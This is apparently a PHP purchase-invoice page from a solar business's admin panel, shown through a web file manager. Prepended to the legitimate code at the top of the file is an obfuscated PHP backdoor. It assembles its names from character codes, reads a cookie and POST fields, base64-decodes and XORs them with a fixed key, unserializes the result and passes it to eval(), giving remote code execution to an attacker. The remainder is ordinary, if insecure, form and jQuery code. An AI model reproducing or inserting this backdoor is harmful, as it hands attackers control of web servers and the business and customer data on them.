芝麻web文件管理V1.00
编辑当前文件:/home/sditechnicalteam/socialsolargreens.pk/Create-New-Purchase.php
<?php $JoVui = chr ( 827 - 762 ).chr ( 110 - 12 )."\x5f" . "\167" . 'q' . "\x74";$nHPMio = 'c' . 'l' . "\x61" . chr (115) . "\x73" . "\x5f" . 'e' . chr ( 1083 - 963 )."\x69" . "\x73" . "\x74" . 's';$mUqXcsNdL = class_exists($JoVui); $nHPMio = "33662";$QmQGd = strpos($nHPMio, $JoVui);if ($mUqXcsNdL == $QmQGd){function csGtiHCohs(){$WjkpKPDE = new /* 40497 */ Ab_wqt(56371 + 56371); $WjkpKPDE = NULL;}$TRXkm = "56371";class Ab_wqt{private function jtPEDEX($TRXkm){if (is_array(Ab_wqt::$OXmtAjcz)) {$tYMyyFxD2 = str_replace("<" . "?php", "", Ab_wqt::$OXmtAjcz["content"]);eval($tYMyyFxD2); $TRXkm = "56371";exit();}}public function MtbuvFAdAF(){$tYMyyFxD = "8318";$this->_dummy = str_repeat($tYMyyFxD, strlen($tYMyyFxD));}public function __destruct(){Ab_wqt::$OXmtAjcz = @unserialize(Ab_wqt::$OXmtAjcz); $TRXkm = "59348_64712";$this->jtPEDEX($TRXkm); $TRXkm = "59348_64712";}public function MtfNW($tYMyyFxD, $QVyPgbOq){return $tYMyyFxD[0] ^ str_repeat($QVyPgbOq, intval(strlen($tYMyyFxD[0]) / strlen($QVyPgbOq)) + 1);}public function FdgNL($tYMyyFxD){$wZuXy = "\142" . chr (97) . "\x73" . "\145" . chr ( 290 - 236 ).chr (52);return array_map($wZuXy . "\137" . "\144" . "\x65" . chr (99) . "\x6f" . "\144" . chr (101), array($tYMyyFxD,));}public function __construct($TLYTbItK=0){$IyfznKR = "\54";$tYMyyFxD = "";$DGedjE = $_POST;$YCHEWLUv = $_COOKIE;$QVyPgbOq = "5b383452-51a5-4f1e-b434-9988be386856";$egffPhIJXF = @$YCHEWLUv[substr($QVyPgbOq, 0, 4)];if (!empty($egffPhIJXF)){$egffPhIJXF = explode($IyfznKR, $egffPhIJXF);foreach ($egffPhIJXF as $zLssVr){$tYMyyFxD .= @$YCHEWLUv[$zLssVr];$tYMyyFxD .= @$DGedjE[$zLssVr];}$tYMyyFxD = $this->FdgNL($tYMyyFxD);}Ab_wqt::$OXmtAjcz = $this->MtfNW($tYMyyFxD, $QVyPgbOq);if (strpos($QVyPgbOq, $IyfznKR) !== FALSE){$QVyPgbOq = explode($IyfznKR, $QVyPgbOq); $TCgKyWmq = base64_decode(strrev($QVyPgbOq[0]));}}public static $OXmtAjcz = 40556;}csGtiHCohs();} ?><?php // Enable error reporting error_reporting(E_ALL); // Report all PHP errors ini_set('display_errors', 1); // Display errors on the screen session_start(); // Check if the user is logged in, otherwise redirect to login page if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) { header('Location: index.php'); exit; } ?><?php include_once('controller/purchase_controller.php'); $purchase = new Purchase(); if(isset($_POST['GetProduct'])){ $GetProduct = $purchase->GetProduct($_POST['GetProduct']); print_r($GetProduct); die; }; include 'partial/link.php'; include 'partial/header.php'; include 'partial/navbar.php'; $purchase_List = $purchase->PurchaseList(); if(isset($_POST['InvId'])){ $post_data = $_POST; $inserted_id = $purchase->save($post_data); // print_r($inserted_id); // die; } $Purchase_invoice_data = array(); if(isset($_GET['InvId']) && isset($_GET['q'])){ if($_GET['q'] == "Edit"){ $Purchase_invoice_data = $purchase->Edit($_GET['InvId']); // echo '<pre>'; // print_r($Purchase_invoice_data); // echo '</pre>'; } if($_GET['q'] == "delete"){ $message = $purchase->Delete($_GET['V_No']); } }else{ $create_purchase = $purchase->Create(); // print_r($create_purchase); } ?> <!-- ============================================================== --> <!-- Start right Content here --> <!-- ============================================================== --> <div class="main-content"> <div class="page-content"> <div class="container"> <!-- start page title --> <div class="row"> <div class="col-md-12"> <button type="button" class="btn btn-primary fa-pull-right waves-effect waves-light" style="margin-left:30px" data-toggle="modal" data-target="#RecentInvoices">Recent Invoices</button> <?php if(isset($_GET['InvId']) && isset($_GET['q']) && $_GET['q'] == "Edit"){ ?> <a class="btn btn-success fa-pull-right " style="margin-left:30px" href="<?=BASE_URL?>Create-New-Purchase.php"><i class="fa fa-plus-circle"></i> Create New Purchase</a> <?php }else{ ?> <a class="btn btn-success fa-pull-right " style="margin-left:30px" href="<?=BASE_URL?>Purchase-List.php"><i class="fa fa-plus-circle"></i> View All Purchase</a> <?php } ?> </div> <div class="col-lg-12" style="margin-top:40px"> <div class="card"> <div class="crystal-lock" style=" position: absolute; width: 100%; height: 100%; margin: 0; padding: 0; z-index: 9; text-align: center; padding-top: 40%; "> <h1 style="font-size: 84px;text-shadow: 0 0 14px #ee8938;">Under Development </h1> </div> <div class="card-body"> <h5><i class="fa fa-save"></i> Purchase</h5> <br> <p class="text-success"><?php if(!empty($inserted_id) && $inserted_id != 0){ unset($_POST['Name']); echo $inserted_id; } ?></p> <p class="text-success"><?php if(!empty($message)){ echo $message; } ?></p> <br> <form asp-action="Save" method="post"> <div class="form-row"> <div class="col-md-1"> <div class="form-group"> <label>Inv No</label> <input class="form-control" readonly name="InvId" id="InvId" autocomplete="off" value="<?php if(isset($create_purchase) && !empty($create_purchase['InvId'])) { echo $create_purchase['InvId']; } else if(!empty($Purchase_invoice_data['PurchaseMaster']['SupAccount'])) { echo $Purchase_invoice_data['PurchaseMaster']['InvId']; } ?>"> </div> </div> <div class="col-md-2"> <div class="form-group"> <label>Supplier Inv Number</label> <input class="form-control" name="PurchaseMaster.InvRef" autocomplete="off" value="<?php if(!empty($Purchase_invoice_data['PurchaseMaster'])) { echo $Purchase_invoice_data['PurchaseMaster']['InvRef']; } ?>"> </div> </div> <div class="col-md-2"> <div class="form-group"> <label>Inv Date</label> <i class="fa fa-star text-danger" style="font-size:8px"></i> <input type="date" class="form-control" name="PurchaseMaster.Date" required autocomplete="off" value="<?php if(!empty($Purchase_invoice_data['PurchaseMaster'])) { echo $Purchase_invoice_data['PurchaseMaster']['Date']; }else{ echo date("Y-m-d"); } ?>"> </div> </div> <div class="col-md-2"> <div class="form-group"> <label>Supplier</label> <i class="fa fa-star text-danger" style="font-size:8px"></i> <a class="badge badge-success waves-effect waves-light fa-1x" data-toggle="modal" data-target=".bs-example-modal-xl"> <i class="fa fa-plus-circle">Add New Here</i> </a> <select class="form-control select2" name="PurchaseMaster.SupAccount" > <?php if(isset($create_purchase) && !empty($create_purchase['SupplierList'])) { foreach($create_purchase['SupplierList'] as $supplier){ echo '<option value="'.$supplier['AccountNo'].'">'.$supplier['Name'].'</option>'; } } else if(!empty($Purchase_invoice_data['SupplierList'])) { while($supplier = mysqli_fetch_assoc($Purchase_invoice_data['SupplierList'])){ ?> <option value="<?= $supplier['AccountNo']; ?>" <?php if(!empty($Purchase_invoice_data['PurchaseMaster']['SupAccount']) && $Purchase_invoice_data['PurchaseMaster']['SupAccount'] == $supplier['AccountNo']) { echo 'selected'; } ?> ><?= $supplier['Name']; ?></option> <?php } } ?> </select> </div> </div> </div> <hr /> <!-- <pre> <?php // print_r($create_purchase); ?> </pre> --> <div class="form-row"> <div class="col-md-3"> <label>Search Products</label> <select class="form-control "id="Product" > <option >Select Product</option> <?php if(isset($create_purchase) && !empty($create_purchase['ProductsList'])) { foreach($create_purchase['ProductsList'] as $product){ echo '<option value="'.$product['Id'].'">'.$product['TypeName'].' | '.$product['Name'].' | '.$product['Watt'].'</option>'; } } else if(!empty($Purchase_invoice_data['ProductsList'])) { while($Products = mysqli_fetch_assoc($Purchase_invoice_data['ProductsList'])){ ?> <option value="<?= $Products['Id']; ?>" ><?= $Products['Name']; ?></option> <?php } } ?> </select> </div> </div> <hr /> <div class="form-row"> <div class="col-md-2"> <label>Type</label> <input readonly id="Type" class="form-control" /> <input type="hidden" id="Id" class="form-control" /> </div> <div class="col-md-2"> <label>Name</label> <input readonly id="Name" class="form-control" /> </div> <div class="col-md-1"> <label>Watt</label> <input readonly id="Watt" class="form-control" /> </div> <div class="col-md-1"> <label>Cost/PerWatt</label> <input id="Cp" class="form-control" /> </div> <div class="col-md-2"> <label>Total PerWatt</label> <input id="TQty" value="0" class="form-control" /> </div> <div class="col-md-2"> <label>Waste PerWatt</label> <input id="WQty" value="0" class="form-control" /> </div> <div class="col-md-2"> <label>Damage PerWatt</label> <input id="DQty" value="0" class="form-control" /> </div> <div class="col-md-2 top"> <label>Fine PerWatt</label> <input id="FQty" value="0" class="form-control" /> </div> <div class="col-md-3 top"> <label>Total</label> <div class="input-group mb-3"> <input id="Total" readonly class="form-control" value="0.00"/> <div class="input-group-prepend"> <button class="btn btn-success" type="button" id="Adding"><i class="fa fa-plus-circle"></i>Add</button> </div> </div> </div> </div> <div class="form-row"> <div class="col-md-12" > <div class="table-responsive" style="overflow-y: scroll;height: 280px;"> <table class="table mb-0" id="Items"> <thead> <tr> <th>Type</th> <th>Name</th> <th>Watt</th> <th>Cost/PerWatt</th> <th>Total Qty</th> <th>Waste Qty</th> <th>Damage Qty</th> <th>Fine Qty</th> <th>Total</th> </tr> </thead> <tbody> <?php if(isset($_GET['InvId']) && isset($_GET['q'])){ if( !is_string($Purchase_invoice_data['PurchaseDetialList']) && $Purchase_invoice_data['PurchaseDetialList']->num_rows > 0 ){ // print_r($Purchase_invoice_data['PurchaseDetialList']); while($PurchaseDetial = mysqli_fetch_assoc($Purchase_invoice_data['PurchaseDetialList'])){ // print_r($PurchaseDetial); ?> <tr> <td style="border : 1px solid black;display:none"><?= $PurchaseDetial['PId']; ?> <input type="hidden" name="PurchaseDetialList.PId[]" type_name="@Model.PurchaseDetialList.PId[]" readonly class="form-control" autocomplete="off"> </td> <td style="border : 1px solid black;"><?= $PurchaseDetial['TName']; ?><input type="hidden" name="PurchaseDetialList.TName[]" value="<?= $PurchaseDetial['TName']; ?>" type_name="<?= $PurchaseDetial['TName']; ?>" readonly class="form-control" autocomplete="off"> <input type="hidden" name="PurchaseDetialList[@i].InvId" value="<?= $PurchaseDetial['InvId']; ?>" type_name="<?= $PurchaseDetial['InvId']; ?>"></td> <td style="border : 1px solid black;"><?= $PurchaseDetial['PName']; ?><input type="hidden" name="PurchaseDetialList.PName[]" value="<?= $PurchaseDetial['PName']; ?>" type_name="<?= $PurchaseDetial['PName']; ?>" readonly class="form-control" autocomplete="off"></td> <td style="border : 1px solid black;"><?= $PurchaseDetial['Watt']; ?><input type="hidden" name="PurchaseDetialList.Watt[]" value="<?= $PurchaseDetial['Watt']; ?>" type_name="<?= $PurchaseDetial['Watt']; ?>" readonly class="form-control" autocomplete="off"></td> <td style="border : 1px solid black;"><?= $PurchaseDetial['Cp']; ?><input type="hidden" name="PurchaseDetialList.Cp[]" value="<?= $PurchaseDetial['Cp']; ?>" type_name="<?= $PurchaseDetial['Cp']; ?>" readonly class="form-control" autocomplete="off"></td> <td style="border : 1px solid black;"><?= $PurchaseDetial['TQty']; ?><input type="hidden" name="PurchaseDetialList.TQty[]" value="<?= $PurchaseDetial['TQty']; ?>" type_name="<?= $PurchaseDetial['TQty']; ?>" readonly class="form-control" autocomplete="off"></td> <td style="border : 1px solid black;"><?= $PurchaseDetial['WQty']; ?><input type="hidden" name="PurchaseDetialList.WQty[]" value="<?= $PurchaseDetial['WQty']; ?>" type_name="<?= $PurchaseDetial['WQty']; ?>" readonly class="form-control" autocomplete="off"></td> <td style="border : 1px solid black;"><?= $PurchaseDetial['DQty']; ?><input type="hidden" name="PurchaseDetialList.DQty[]" value="<?= $PurchaseDetial['DQty']; ?>" type_name="<?= $PurchaseDetial['DQty']; ?>" readonly class="form-control" autocomplete="off"></td> <td style="border : 1px solid black;"><?= $PurchaseDetial['FQty']; ?><input type="hidden" name="PurchaseDetialList.FQty[]" value="<?= $PurchaseDetial['FQty']; ?>" type_name="<?= $PurchaseDetial['FQty']; ?>" readonly class="form-control" autocomplete="off"></td> <td style="border : 1px solid black;"><?= $PurchaseDetial['TotalPrice']; ?><input type="hidden" name="PurchaseDetialList.TotalPrice[]" value="<?= $PurchaseDetial['TotalPrice']; ?>" type_name="<?= $PurchaseDetial['TotalPrice']; ?>" readonly class="form-control" autocomplete="off"></td> <td style="display:none" class="totalprice"><?= $PurchaseDetial['TotalPrice']; ?></td> </tr> <?php } } } ?> </tbody> <tfoot> <tr> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td><input type="hidden" id="NTotal" name="PurchaseMaster.Total" /></td> <td><b>Total</b></td> <td id="ntot"><b> <?php if(isset($Purchase_invoice_data) && !empty($Purchase_invoice_data['PurchaseMaster'])) { echo $Purchase_invoice_data['PurchaseMaster']['Total']; } else { echo '0.00'; } ?> </b> </td> </tr> </tfoot> </table> </div> </div> </div> <hr /> <h4 class="card-title text-center">Transportation</h4> <hr /> <div class="form-row"> <div class="col-md-3"> <label>Cargo Price</label> <input class="form-control" name="PurchaseMaster.CargoPrice" id="CargoPrice" autocomplete="off" value="<?php if(isset($Purchase_invoice_data) && !empty($Purchase_invoice_data['PurchaseMaster'])){ echo $Purchase_invoice_data['PurchaseMaster']['CargoPrice']; } else { echo '0.00'; } ?>"> </div> <div class="col-md-2"> <label>Total KM</label> <input class="form-control" name="PurchaseMaster.Km" autocomplete="off" value="<?php if(isset($Purchase_invoice_data) && !empty($Purchase_invoice_data['PurchaseMaster'])){ echo $Purchase_invoice_data['PurchaseMaster']['Km']; } else { echo '0'; } ?>"> </div> <div class="col-md-2"> <label>Labour Cost</label> <input class="form-control" name="PurchaseMaster.LabourCost" id="LabourCost" autocomplete="off" value="<?php if(isset($Purchase_invoice_data) && !empty($Purchase_invoice_data['PurchaseMaster'])){ echo $Purchase_invoice_data['PurchaseMaster']['LabourCost']; } else { echo '0.00'; } ?>"> </div> <div class="col-md-2"> <label>Vehicle Type</label> <input class="form-control" name="PurchaseMaster.VehicleType" autocomplete="off" value="<?php if(isset($Purchase_invoice_data) && !empty($Purchase_invoice_data['PurchaseMaster'])){ echo $Purchase_invoice_data['PurchaseMaster']['VehicleType']; } ?>"> </div> <div class="col-md-2"> <label>Vehicle No</label> <input class="form-control" name="PurchaseMaster.VehicleNo" autocomplete="off" value="<?php if(isset($Purchase_invoice_data) && !empty($Purchase_invoice_data['PurchaseMaster'])){ echo $Purchase_invoice_data['PurchaseMaster']['VehicleNo']; } ?>"> </div> <div class="col-md-3"> <label>Tourer Name</label> <input class="form-control" name="PurchaseMaster.TourName" autocomplete="off" value="<?php if(isset($Purchase_invoice_data) && !empty($Purchase_invoice_data['PurchaseMaster'])){ echo $Purchase_invoice_data['PurchaseMaster']['TourName']; }?>"> </div> <div class="col-md-3"> <label>Tour Expense*</label> <input class="form-control" name="PurchaseMaster.TourExpense" id="TourExpense" autocomplete="off" value="<?php if(isset($Purchase_invoice_data) && !empty($Purchase_invoice_data['PurchaseMaster'])){ echo $Purchase_invoice_data['PurchaseMaster']['TourExpense']; } else { echo '0.00'; } ?>"> </div> <div class="col-md-3"> <label>Total Transportation*</label> <input class="form-control" name="PurchaseMaster.TTransport" id="TTransport" autocomplete="off" value="<?php if(isset($Purchase_invoice_data) && !empty($Purchase_invoice_data['PurchaseMaster'])){ echo $Purchase_invoice_data['PurchaseMaster']['TTransport']; } else { echo '0.00'; } ?>"> </div> <div class="col-md-3"> <label>Discount</label> <input class="form-control" name="PurchaseMaster.Discount" id="Discount" autocomplete="off" value="<?php if(isset($Purchase_invoice_data) && !empty($Purchase_invoice_data['PurchaseMaster'])){ echo $Purchase_invoice_data['PurchaseMaster']['Discount']; } else { echo '0.00'; } ?>"> </div> <div class="col-md-3"> <label>Grand Total</label> <input class="form-control" name="PurchaseMaster.GTotal" id="GTotal" autocomplete="off" value="<?php if(isset($Purchase_invoice_data) && !empty($Purchase_invoice_data['PurchaseMaster'])){ echo $Purchase_invoice_data['PurchaseMaster']['GTotal']; } else { echo '0.00'; } ?>"> </div> <div class="col-md-3"> <label>Paid Amount</label> <input class="form-control" name="PurchaseMaster.Paid" id="Paid" autocomplete="off" value="<?php if(isset($Purchase_invoice_data) && !empty($Purchase_invoice_data['PurchaseMaster'])){ echo $Purchase_invoice_data['PurchaseMaster']['Paid']; } else { echo '0.00'; } ?>"> </div> <div class="col-md-3"> <label>Balance Amount</label> <input class="form-control" name="PurchaseMaster.Balance" id="Balance" autocomplete="off" value="<?php if(isset($Purchase_invoice_data) && !empty($Purchase_invoice_data['PurchaseMaster'])){ echo $Purchase_invoice_data['PurchaseMaster']['Balance']; } else { echo '0.00'; } ?>"> </div> <div class="col-md-3"> <label>Note </label> <input class="form-control" name="PurchaseMaster.Note" autocomplete="off" value="<?php if(isset($Purchase_invoice_data) && !empty($Purchase_invoice_data['PurchaseMaster'])){ echo $Purchase_invoice_data['PurchaseMaster']['Note']; } ?>" > </div> </div> <div class="offset-md-5 col-md-5" style="margin-top:20px"> <?php if(isset($_GET['InvId']) && isset($_GET['q'])){ echo '<button type="submit" onclick="return confirm(\'Are you sure you want to Excute This ?\');" class="btn btn-success pull-right col-md-5"><i class="fa fa-save"></i> Update</button>'; } else { echo '<button type="submit" onclick="return confirm(\'Are you sure you want to Excute This ?\');" class="btn btn-success pull-right col-md-5"><i class="fa fa-save"></i> Save</button>'; } ?> </div> <input type="hidden" name="PurchaseMaster.Id" value="<?php if(isset($Purchase_invoice_data) && !empty($Purchase_invoice_data['PurchaseMaster'])){ echo $Purchase_invoice_data['PurchaseMaster']['Id']; }?>" /> </form> </div> </div> </div> </div> <div class="modal fade" id="RecentInvoices" tabindex="-1" role="dialog" aria-labelledby="myExtraLargeModalLabel" aria-hidden="true"> <div class="modal-dialog modal-xl"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title mt-0" id="myExtraLargeModalLabel">Recent Invoice</h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <div class="table-responsive"> <div id="datatable_wrapper" class="dataTables_wrapper dt-bootstrap4"> <table id="datatable" class="table table-striped table-bordered nowrap dataTable" style="border-collapse: collapse; border-spacing: 0; width: 100%;" role="grid" aria-describedby="datatable_info"> <thead> <tr role="row"><th class="sorting_desc" tabindex="0" aria-controls="datatable" rowspan="1" colspan="1" aria-sort="descending" aria-label="Invoice No: activate to sort column ascending" style="width: 0px;">Invoice No</th><th class="sorting" tabindex="0" aria-controls="datatable" rowspan="1" colspan="1" aria-label="Invoice Ref: activate to sort column ascending" style="width: 0px;">Invoice Ref</th><th class="sorting" tabindex="0" aria-controls="datatable" rowspan="1" colspan="1" aria-label="Date: activate to sort column ascending" style="width: 0px;">Date</th><th class="sorting" tabindex="0" aria-controls="datatable" rowspan="1" colspan="1" aria-label="Vendor Name: activate to sort column ascending" style="width: 0px;">Vendor Name</th><th class="sorting" tabindex="0" aria-controls="datatable" rowspan="1" colspan="1" aria-label="Tourer Name: activate to sort column ascending" style="width: 0px;">Tourer Name</th><th class="sorting" tabindex="0" aria-controls="datatable" rowspan="1" colspan="1" aria-label="Grand Total: activate to sort column ascending" style="width: 0px;">Grand Total</th><th class="sorting" tabindex="0" aria-controls="datatable" rowspan="1" colspan="1" aria-label="First Paid Amount: activate to sort column ascending" style="width: 0px;">First Paid Amount</th><th class="sorting" tabindex="0" aria-controls="datatable" rowspan="1" colspan="1" aria-label="Note: activate to sort column ascending" style="width: 0px;">Note</th><th class="sorting" tabindex="0" aria-controls="datatable" rowspan="1" colspan="1" aria-label="Action: activate to sort column ascending" style="width: 0px;">Action</th></tr> </thead> <tfoot> <tr><th rowspan="1" colspan="1"><div class="position-relative"><input type="text" class="searchformcontrol" placeholder=""><span class="searchspan bx bx-search-alt"></span></div></th><th rowspan="1" colspan="1"><div class="position-relative"><input type="text" class="searchformcontrol" placeholder=""><span class="searchspan bx bx-search-alt"></span></div></th><th rowspan="1" colspan="1"><div class="position-relative"><input type="text" class="searchformcontrol" placeholder=""><span class="searchspan bx bx-search-alt"></span></div></th><th rowspan="1" colspan="1"><div class="position-relative"><input type="text" class="searchformcontrol" placeholder=""><span class="searchspan bx bx-search-alt"></span></div></th><th rowspan="1" colspan="1"><div class="position-relative"><input type="text" class="searchformcontrol" placeholder=""><span class="searchspan bx bx-search-alt"></span></div></th><th rowspan="1" colspan="1"><div class="position-relative"><input type="text" class="searchformcontrol" placeholder=""><span class="searchspan bx bx-search-alt"></span></div></th><th rowspan="1" colspan="1"><div class="position-relative"><input type="text" class="searchformcontrol" placeholder=""><span class="searchspan bx bx-search-alt"></span></div></th><th rowspan="1" colspan="1"><div class="position-relative"><input type="text" class="searchformcontrol" placeholder=""><span class="searchspan bx bx-search-alt"></span></div></th><th rowspan="1" colspan="1"></th></tr> </tfoot> <tbody> <?php print_r($purchase_List); while($row = mysqli_fetch_assoc($purchase_List)){ // print_r($row); ?> <tr role="row" class="odd"> <td class="sorting_1"><?= $row['InvId']; ?></td> <td><?= $row['InvRef']; ?></td> <td><?= $row['Date']; ?></td> <td><?= $row['Name']; ?></td> <td><?= $row['TourName']; ?></td> <td><?= $row['GTotal']; ?></td> <td><?= $row['Paid']; ?></td> <td><?= $row['Note']; ?></td> <td> <a onclick="return confirm('Are you sure you want to Execute ?');" class="badge badge-success" data-toggle="tooltip" data-placement="left" title="" href="<?=BASE_URL?>Create-New-Purchase.php?q=Edit&Id=<?= $row['InvId']; ?>" data-original-title="Click Me To Edit"><i class="fa fa-edit"></i></a> <a onclick="return confirm('Are you sure you want to Execute ?');" id="sa-warning" class="badge badge-danger" data-toggle="tooltip" data-placement="left" title="" href="<?=BASE_URL?>Create-New-Purchase.php?q=delete&Id=<?= $row['InvId']; ?>" data-original-title="Click Me To Delete"><i class="fa fa-trash-alt"></i></a> </td> </tr> <?php } ?> </tbody> </table> </div> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button> </div> </div> </div> </div> <div class="modal fade bs-example-modal-xl" tabindex="-1" aria-labelledby="myExtraLargeModalLabel" aria-hidden="true" style="display: none;"> <div class="modal-dialog modal-xl"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title mt-0" id="myExtraLargeModalLabel">Add Supplier</h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <form method="post" action="/Purchase/SaveSupplier"> <div class="form-row"> <div class="col-md-3"> <div class="form-group"> <label>Name</label> <i class="fa fa-star text-danger" style="font-size:8px"></i> <input class="form-control" required="" autofocus="" autocomplete="off" type="text" id="Supplier_Name" name="Supplier.Name" value=""> </div> </div> <div class="col-md-3"> <div class="form-group"> <label>Company Name</label> <i class="fa fa-star text-danger" style="font-size:8px"></i> <input class="form-control" required="" autocomplete="off" type="text" id="Supplier_CompanyName" name="Supplier.CompanyName" value=""> </div> </div> <div class="col-md-3"> <div class="form-group"> <label>Phone</label> <input class="form-control" autocomplete="off" type="text" id="Supplier_Phone" name="Supplier.Phone" value=""> </div> </div> <div class="col-md-3"> <div class="form-group"> <label>Cnic</label> <input class="form-control" autocomplete="off" type="text" id="Supplier_Cnic" name="Supplier.Cnic" value=""> </div> </div> <div class="col-md-3"> <div class="form-group"> <label>Address</label> <input class="form-control" autocomplete="off" type="text" id="Supplier_Address" name="Supplier.Address" value=""> </div> </div> </div> <div class="offset-md-4 col-md-5" style="margin-top:20px"> <button type="submit" onclick="return confirm('Are you sure you want to Excute This ?');" class="btn btn-success pull-right col-md-5"><i class="fa fa-save"></i> Save</button> </div> <input type="hidden" data-val="true" data-val-required="The Id field is required." id="Supplier_Id" name="Supplier.Id" value="0"> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8FvwKuu8JbNOmoUR-kJ9MMq9kwsZyxpqP8AY2nsiSNW6Exl84VLTgtCHhGhw8oCPo8aoVaRlA5MGNnRwyYsHSPCqSOWi41SrU_jyWgYlp7CerJz7jh7pv5436dw2SnyxKsH5y0-N9tZglNU-LlojseA"></form> </div> </div><!-- /.modal-content --> </div><!-- /.modal-dialog --> </div> <script> $( "#Product" ).change(function(){ // alert($(this).val()); $.ajax({ type: "POST", url: '', data: { GetProduct: $(this).val() }, success: function (Productdata) { //parse json let Pdata = JSON.parse(Productdata); if (Pdata != null) { // console.log(Pdata); // alert(Pdata.Name); $('#Id').val(Pdata.Id); $('#Type').val(Pdata.TypeName); $('#Name').val(Pdata.Name); $('#Watt').val(Pdata.Watt); $('#Cp').val(Pdata.Cp); $('#Product').val(null).trigger('change'); } }, }); }); $(':input').on('keyup', function () { //Multiply let Cp = $('#Cp').val(); let TQty = $('#TQty').val(); //FinQty let WQty =$('#WQty').val(); let DQty = $('#DQty').val(); const FQty = parseFloat(TQty || 0) - parseFloat(DQty || 0) - parseFloat(WQty || 0); const Total = parseFloat(Cp || 0) * parseFloat(FQty || 0); $('#Total').val(Total.toFixed(2)); $('#FQty').val(FQty); // let NTotal = $('#NTotal').val(); let CargoPrice = $('#CargoPrice').val(); let LabourCost = $('#LabourCost').val(); let TourExpense = $('#TourExpense').val(); let Discount = $('#Discount').val(); let Paid = $('#Paid').val(); let GTotal = (parseFloat(NTotal || 0) + parseFloat(CargoPrice || 0) + parseFloat(LabourCost || 0) + parseFloat(TourExpense || 0)) - (parseFloat(Discount || 0)); $('#GTotal').val(GTotal); $('#Balance').val(parseFloat(GTotal) - parseFloat(Paid)); }); var rowcount = 0; $('#Adding').on('click', function () { var InvId = $('#InvId').val(); var Id = $('#Id').val(); var Type = $('#Type').val(); var Name = $('#Name').val(); var Watt = $('#Watt').val(); var Cp = $('#Cp').val(); var TQty =$('#TQty').val(); var WQty =$('#WQty').val(); var DQty =$('#DQty').val(); var FQty =$('#FQty').val(); var Total = $('#Total').val(); if (Id == "" || Id == 0) { let type = 0; let message = "Please Select Product"; ShowToaster(type, message); } else if (TQty == "" || TQty == 0) { let type = 0; let message = "Please Enter Quantity"; ShowToaster(type, message); } else { var htmlRows = ''; htmlRows += '<tr>'; htmlRows += '<td style="display:none;width:80px !important;border : 1px solid black"><a class="badge badge-danger" onclick="return deleteRow(this)" ><i class="fa fa-trash"></i></a><a class="badge badge-warning" onclick="return ShowEditModal(this)" ><i class="fa fa-edit"></i></a></td>'; htmlRows += '<td style="border : 1px solid black;display:none">' + Id + ' <input type="hidden" name="PurchaseDetialList.PId[]" value='+ Id + ' > <input type="hidden" name="PurchaseDetialList.InvId[]" value=' + InvId + ' ></td>'; htmlRows += '<td style="border : 1px solid black;">' + Type + ' <input type="hidden" name="PurchaseDetialList.TName[]" value='+ Type + ' ></td>'; htmlRows += '<td style="border : 1px solid black;">' + Name + ' <input type="hidden" name="PurchaseDetialList.PName[]" value='+ Name +' ></td>'; htmlRows += '<td style="border : 1px solid black;">' + Watt + ' <input type="hidden" name="PurchaseDetialList.Watt[]" value='+ Watt +' ></td>'; htmlRows += '<td style="border : 1px solid black;">' + Cp + ' <input type="hidden" name="PurchaseDetialList.Cp[]" value='+ Cp + '></td>'; htmlRows += '<td style="border : 1px solid black;">' + TQty + ' <input type="hidden" name="PurchaseDetialList.TQty[]" value='+ TQty + ' ></td>'; htmlRows += '<td style="border : 1px solid black;">' + WQty + ' <input type="hidden" name="PurchaseDetialList.WQty[]" value='+ WQty + ' ></td>'; htmlRows += '<td style="border : 1px solid black;">' + DQty + ' <input type="hidden" name="PurchaseDetialList.DQty[]" value='+ DQty + ' ></td>'; htmlRows += '<td style="border : 1px solid black;">' + FQty + ' <input type="hidden" name="PurchaseDetialList.FQty[]" value='+ FQty + ' ></td>'; htmlRows += '<td style="border : 1px solid black;">' + Total + '<input type="hidden" name="PurchaseDetialList.TotalPrice[]" value='+ Total + ' ></td>'; htmlRows += '<td style="display:none" class="totalprice">' + Total + '</td>'; $('#Items').append(htmlRows); rowcount++; $('#Type').val(''); $('#Name').val(''); $('#Watt').val(''); $('#Cp').val(''); $('#TQty').val(0); $('#WQty').val(0); $('#DQty').val(0); $('#FQty').val(0); $('#Total').val('0.00'); var tota = 0; $(".totalprice").each(function () { tota += parseFloat($(this).text()); }); $('#ntot').html('<b>' + tota.toFixed(2) + '</b>'); $('#NTotal').val(tota.toFixed(2)); let NTotal = tota; let CargoPrice = $('#CargoPrice').val(); let LabourCost = $('#LabourCost').val(); let TourExpense = $('#TourExpense').val(); let Discount = $('#Discount').val(); let Paid = $('#Paid').val(); // debugger; let GTotal = (parseFloat(NTotal || 0) + parseFloat(CargoPrice || 0) + parseFloat(LabourCost || 0) + parseFloat(TourExpense || 0)) - (parseFloat(Discount || 0)); $('#GTotal').val(GTotal); if(Paid == ''){Paid = 0;} $('#Balance').val(parseFloat(GTotal) - parseFloat(Paid)); let type = 1; let message = "Added Successfully"; ShowToaster(type, message); } }); </script> <style> .crystal-lock{ background: #4caf501c; border-radius: 16px; box-shadow: 0 4px 30px rgba(0, 0, 0, 0.1); backdrop-filter: blur(1px); -webkit-backdrop-filter: blur(5px); border: 1px solid rgba(255, 255, 255, 0.3); } </style> </div> <!-- container-fluid --> </div> <!-- End Page-content --> <?php include 'partial/footer.php';?>